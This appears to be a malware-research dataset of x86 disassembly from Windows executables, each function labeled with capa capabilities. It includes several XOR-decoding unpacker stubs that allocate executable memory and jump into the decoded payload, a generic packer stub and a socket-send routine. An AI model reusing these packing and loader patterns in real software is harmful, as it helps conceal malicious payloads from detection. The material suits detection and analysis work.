joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00409c90
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00409c90
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00409c90
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00409c90
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00409c90
mov dword [0x41203c], eax
call fcn.00409c90
test eax, eax
jge 0x402550
push 8
call fcn.00409c90
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00409c90
pop ecx
push 1
call fcn.00409c90
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00409c90
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00409c90
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00409c90
jmp 0x402495

Function at 0x409c90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x409c9f
pop dword [ebp - 0x40]
mov eax, 0xe8a7b2d7
sub eax, 0xe8671638
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x386f2
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x8dce12b4
sub ecx, 0x8dcdcdc3
mov ebx, eax
mov esi, 0x413bc4
add esi, dword [ebp - 0x40]
mov edx, 0x9206cceb
sub edx, 0xf4fc0474
sub dword [ebp - 0x34], esi
mov edi, dword [esi]
sub dword [ebp - 0x18], 0x4b0d1f0f
xor edi, edx
add dword [ebp - 0x34], esi
mov dword [ebx], edi
add dword [ebp - 4], edx
add ebx, 0x9896d79f
sub ebx, 0x9896d79b
add esi, 0xb4af87ac
sub esi, 0xb4af87a8
loop 0x409cf3
add eax, 0x10697
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x69d87555
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x43a347c
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x418dfc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418c6d

Function at 0x4191f6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00407f50
mov eax, dword [0x463f00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00415f6b
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x419238
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x419394
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00423500
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x465ae8]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041a1ed
mov ecx, dword [esi*4 + 0x465ae8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41938d
cmp eax, dword [edi + ecx + 0x24]
jne 0x41938d
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41938d
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041a1ed
add esp, 0x14
test edx, edx
jl 0x41938d
jg 0x419303
test eax, eax
jb 0x41938d
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41938d
jl 0x41931d
cmp dword [ebp - 0x1008], eax
ja 0x41938d
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41933b
test ebx, ebx
je 0x419374
cmp ecx, edi
jae 0x419374
mov al, byte [ecx]
cmp al, 0xd
jne 0x419355
lea eax, [edi - 1]
cmp ecx, eax
jae 0x419361
cmp byte [ecx + 1], 0xa
jne 0x419361
inc ecx
jmp 0x419361
movzx eax, al
movsx eax, byte [eax + 0x4641d8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41933b
cmp edx, ebx
jne 0x41933b
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x419392
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004071da
leave
ret
Function at 0x41968b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x465ae8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4196cb
cmp byte [ebx], 0xa
jne 0x4196cb
or byte [eax + edi + 0x28], 4
jmp 0x4196d0
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4197ce
mov al, byte [edx]
cmp al, 0x1a
je 0x4197b0
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4196ff
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x419724
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41972e
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4196e1
jmp 0x4197ce
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4197ab
cmp dword [ebp - 0xc], 0
je 0x4197ab
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x465ae8]
test byte [eax + edi + 0x28], 0x48
je 0x419785
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x419770
mov byte [esi], dl
jmp 0x419781
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x465ae8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4197ce
cmp byte [ebp - 1], 0xa
jne 0x419794
cmp esi, ebx
jne 0x419794
mov byte [esi], 0xa
jmp 0x4197cd
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041a20b
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4197ce
mov byte [esi], 0xd
jmp 0x4197cd
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x465ae8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4197ca
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4197ce
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4197d7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x465ae8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41981a
cmp word [esi], dx
jne 0x41981a
or byte [edi + eax + 0x28], 4
jmp 0x41981f
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x419972
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x419952
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x419861
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x419897
cmp eax, edx
jae 0x4198a3
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x419839
jmp 0x419972
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41994e
cmp dword [ebp - 0x14], 0
je 0x41994e
mov eax, dword [ebx*4 + 0x465ae8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x419926
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4198ef
mov word [esi], cx
jmp 0x419922
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x465ae8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x465ae8]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x465ae8]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x419972
pop ebx
cmp word [ebp - 4], bx
jne 0x419937
cmp esi, dword [ebp + 0xc]
jne 0x419937
mov word [esi], bx
jmp 0x41996f
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041a20b
add esp, 0x10
cmp word [ebp - 4], bx
je 0x419972
push 0xd
jmp 0x41996b
mov ecx, dword [ebx*4 + 0x465ae8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x419969
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x419972
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41b769
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41b806
push ebx
push esi
call fcn.0041b732
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041a3b7
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41b7b3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41b805
push edi
push eax
call fcn.00415136
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41b7d3
call fcn.00414f0c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41b804
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041a3b7
add esp, 0x20
test eax, eax
jne 0x41b7f2
push edi
call fcn.00414f0c
jmp 0x41b7fa
push ebx
call fcn.00414f0c
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x423300
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42332d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42332d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x424000
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push str.Success_created.
push 0x465238
mov ebx, ecx
call fcn.00401160
push eax
call fcn.00401e70
push 8
call fcn.00407197
mov esi, eax
add esp, 0x10
test esi, esi
je 0x424062
push 4
call fcn.00407197
add esp, 4
test eax, eax
je 0x424040
mov dword [eax], 0x424bb0
jmp 0x424042
xor eax, eax
lea edi, [esi + 4]
push edi
push 0
push eax
push 0x401e50
push 0
push 0
call fcn.0040e516
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x42409d
jmp 0x424064
xor esi, esi
cmp dword [esi + 4], 0
je 0x4240aa
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [esi + 4], eax
je 0x4240b1
push 0
push dword [esi + 4]
push dword [esi]
call fcn.004050d5
add esp, 0xc
test eax, eax
jne 0x4240b8
push 8
push esi
mov dword [esi], eax
mov dword [esi + 4], eax
call fcn.004071c7
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
ret
push 6
mov dword [edi], 0
call fcn.0040528b
push 1
call fcn.0040528b
push 5
call fcn.0040528b
push 2
call fcn.0040528b
int3
Function at 0x40e424
Capabilities:
Encode data using xor

Disassembly:
cwde
rcr eax, 0xda
push edx
cli
in al, 0x45
aam 0xdf
cmpsd dword [esi], dword es:[edi]
sub eax, 0x2e20a7b8
xlatb
xor ebp, dword [edi + esi + 0x2f51527a]
sub al, 2
or ebx, dword [edi]
clc
stc
test al, 0xa0
sbb cl, cl
or byte [eax + ebp*4 + 0x1f], dl
mov edx, 0xc3e70f0a
dec esi
xor byte [edi], dl
cmp al, 0x83
mov byte [eax + edx*8 - 9], cl
invalid

Function at 0x429780
Capabilities:
Send data
Send data on socket
Terminate process

Disassembly:
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SetErrorInfo]
call fcn.0041c1d0
mov ecx, dword [0x471ca0]
xor ecx, eax
mov eax, dword [esp + 0x10]
mov dword [0x471ca0], ecx
push ecx
mov ecx, dword [0x484e7c]
push eax
push ecx
push 0
call dword [sym.imp.WS2_32.dll_send]
inc esi
add byte [edx + 0x32], ch
call fcn.0046d890
add dword [0x471dbc], eax
call fcn.00451bb0
mov ecx, eax
mov eax, 0xe5b5b795
xor edx, edx
div ecx
mov dword [0x471ca0], eax
call fcn.0040e640
mov edx, dword [0x471aa8]
mov eax, dword [0x471ab8]
push edx
push eax
call fcn.004601e0
add esp, 0xc
cmp eax, 4
mov dword [0x471bc4], eax
jae 0x429800
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
call fcn.004527f0
add esp, 4
xor eax, eax
ret 0x10

Function at 0x45fed8
Capabilities:
Encode data using xor

Disassembly:
cmp eax, 0x88363819
mov dl, 0x7c
xor ebp, edx
mov esp, 0xe68cd76f
mov esi, fs
jbe 0x45fecb
pop edx
invalid
stosd dword es:[edi], eax
invalid
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40611c
pop dword [ebp - 0x14]
mov eax, 0xe135ad30
add eax, 0x1f0ab3ec
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xfe396f4e
add dword [ebp - 0x24], 0x5018d5fd
mov dword [ebp - 0x20], 0xb99b5f08
sub dword [ebp - 0x20], 0x876812c3
mov dword [ebp - 0x1c], 0x38bf22ba
add dword [ebp - 0x1c], 0x138d2174
mov dword [ebp - 0x18], 0x5f6917bf
sub dword [ebp - 0x18], 0x5f6917bf
lea eax, [ebp - 0x24]
push eax
mov eax, 0x613d24ff
sub eax, 0x60fcb49f
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x7e5975a6
add dword [ebp - 0x24], 0xf618f3b0
mov dword [ebp - 0x20], 0xd53e9d0e
sub dword [ebp - 0x20], 0x93d23b99
mov dword [ebp - 0x1c], 0xf297e1a
add dword [ebp - 0x1c], 0x5445ee52
mov dword [ebp - 0x18], 0x8aad2fdb
add dword [ebp - 0x18], 0x7552d025
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x81bc32b4
sub eax, 0x817bc1b4
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x35f3f
push 0
call eax
mov ecx, 0x4561
xor esi, esi
add esi, eax
mov edi, 0x146d4a9b
add edi, 0xebd3b565
add edi, dword [ebp - 0x14]
mov ebx, 0x8d9cd050
mov edx, dword [edi]
sub dword [ebp - 0xc], 0xde6463af
add edx, ebx
sub dword [ebp - 8], edx
mov dword [esi], edx
xor dword [ebp - 0xc], eax
add esi, 4
add edi, 4
loop 0x406234
add eax, 0x16129412
sub eax, 0x16118bbb
xor ebx, ebx
add ebx, eax
add eax, 0x8b09fdcd
add eax, 0x74f60238
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x40249a
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x41cde5
call fcn.0041a068
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
call fcn.004032dd
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
call fcn.00402451
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x402738
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41cec6
push eax
mov dword fs:[0], esp
push esi
mov esi, ecx
lea ecx, [esi + 0xa8]
call fcn.004027df
lea ecx, [esi + 0x78]
call fcn.004027df
push dword [esi + 0x30]
call fcn.0041a062
push dword [esi + 0x24]
call fcn.0041a062
push dword [esi + 0x18]
call fcn.0041a062
add esp, 0xc
and dword [ebp - 4], 0
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x402792
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 8]
mov dword [ebp - 4], 1
test ecx, ecx
je 0x4027a6
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 4]
mov dword [ebp - 4], 2
test ecx, ecx
je 0x4027ba
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi]
mov dword [ebp - 4], 3
test ecx, ecx
je 0x4027cd
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
leave
ret

Function at 0x4027f6
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41cd50
push eax
mov dword fs:[0], esp
push esi
mov esi, ecx
call fcn.0040b383
lea ecx, [esi + 0x30]
call fcn.004027df
push dword [esi + 0x24]
call fcn.0041a062
pop ecx
lea ecx, [esi + 0xc]
call fcn.00401ccd
mov ecx, esi
call fcn.004026fe
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
leave
ret

Function at 0x402eaf
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push dword [ebp + 0xc]
mov esi, ecx
push dword [ebp + 8]
lea ecx, [esi + 0x68]
call fcn.004029ee
mov edx, 0xce4
lea ecx, [ebp - 0x10]
call fcn.00406362
push dword [ebp - 0x10]
push dword [esi + 0x6c]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push dword [ebp - 0x10]
call fcn.0041a062
pop ecx
push 1
push dword [esi + 0x6c]
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
leave
ret 8
Function at 0x4047e3
Capabilities:
Create directory

Disassembly:
mov eax, 0x41d0c2
call fcn.0041a068
sub esp, 0x38
push ebx
push esi
xor ebx, ebx
mov esi, ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x404806
mov al, 1
jmp 0x40484c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404817
xor al, al
jmp 0x40484c
lea ecx, [ebp - 0x44]
call fcn.00404e34
lea ecx, [ebp - 0x1c]
call fcn.004032dd
push ebx
push esi
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], ebx
call fcn.00404fcb
test al, al
je 0x404841
mov ebx, dword [ebp - 0x24]
shr ebx, 4
and bl, 1
push dword [ebp - 0x1c]
call fcn.0041a062
pop ecx
mov al, bl
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x4049db
Capabilities:
Delete file
Set file attributes

Disassembly:
push esi
mov esi, ecx
call fcn.00405515
cmp eax, 0xffffffff
je 0x404a03
test al, 0x10
jne 0x404a03
test al, 1
je 0x404a03
and eax, 0xfffffffe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x404a03
xor al, al
pop esi
ret
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
pop esi
setne al
ret
Function at 0x404bcf
Capabilities:
Set file attributes

Disassembly:
push ebp
sub esp, 0x58
mov eax, 0x41d114
call fcn.0041a068
sub esp, 0x38
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x44]
push edi
mov dword [ebp + 0x38], esi
call fcn.00404e34
lea ecx, [ebp - 0x1c]
call fcn.004032dd
and dword [ebp - 4], 0
lea ecx, [ebp - 0x44]
push 0
push dword [esi]
call fcn.00404fcb
test al, al
je 0x404c23
mov ebx, dword [ebp - 0x24]
mov eax, ebx
shr eax, 4
test al, 1
jne 0x404c40
push 0x10b
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0x1c]
call fcn.0041a062
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add ebp, 0x5c
leave
ret
push dword [ebp - 0x1c]
or dword [ebp - 4], 0xffffffff
shr ebx, 0xa
call fcn.0041a062
pop ecx
and bl, 1
jne 0x404d7a
push esi
lea ecx, [ebp + 0x50]
call fcn.0040323c
lea ecx, [ebp + 0x50]
mov dword [ebp - 4], 1
call fcn.00401d36
mov eax, dword [ebp + 0x54]
or dword [ebp + 0x40], 0xffffffff
mov dword [ebp + 0x3c], eax
lea ecx, [ebp + 0x44]
mov byte [ebp - 4], 2
call fcn.004032dd
lea eax, [ebp + 0x50]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp + 0x40]
call fcn.00405632
lea ecx, [ebp]
call fcn.00404e34
lea ecx, [ebp + 0x28]
call fcn.004032dd
lea eax, [ebp]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp + 0x40]
xor edi, edi
call fcn.004055b4
test al, al
je 0x404d57
mov esi, dword [ebp + 0x3c]
cmp esi, dword [ebp + 0x54]
jae 0x404cd5
mov eax, dword [ebp + 0x50]
xor ecx, ecx
mov dword [ebp + 0x54], esi
mov word [eax + esi*2], cx
lea eax, [ebp + 0x28]
push eax
lea ecx, [ebp + 0x50]
call fcn.004034a9
mov eax, dword [ebp + 0x20]
shr eax, 4
test al, 1
je 0x404d01
lea ecx, [ebp + 0x50]
call fcn.00404bcf
test al, al
jne 0x404d17
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov bl, 1
jmp 0x404d15
mov ecx, dword [ebp + 0x50]
call fcn.004049db
test al, al
jne 0x404d17
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor bl, bl
mov edi, eax
lea eax, [ebp]
push eax
lea ecx, [ebp + 0x40]
call fcn.004055b4
test al, al
jne 0x404cc4
mov esi, dword [ebp + 0x38]
test bl, bl
je 0x404d57
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp + 0x28]
call fcn.0041a062
push dword [ebp + 0x44]
call fcn.0041a062
pop ecx
pop ecx
lea ecx, [ebp + 0x40]
call fcn.00404e55
push dword [ebp + 0x50]
jmp 0x404c26
push dword [ebp + 0x28]
call fcn.0041a062
push dword [ebp + 0x44]
call fcn.0041a062
pop ecx
pop ecx
lea ecx, [ebp + 0x40]
call fcn.00404e55
push dword [ebp + 0x50]
call fcn.0041a062
pop ecx
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x404c2c
mov ecx, dword [esi]
call fcn.00404bc2
jmp 0x404c2e

Function at 0x405515
Capabilities:
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, eax
mov eax, ecx
ret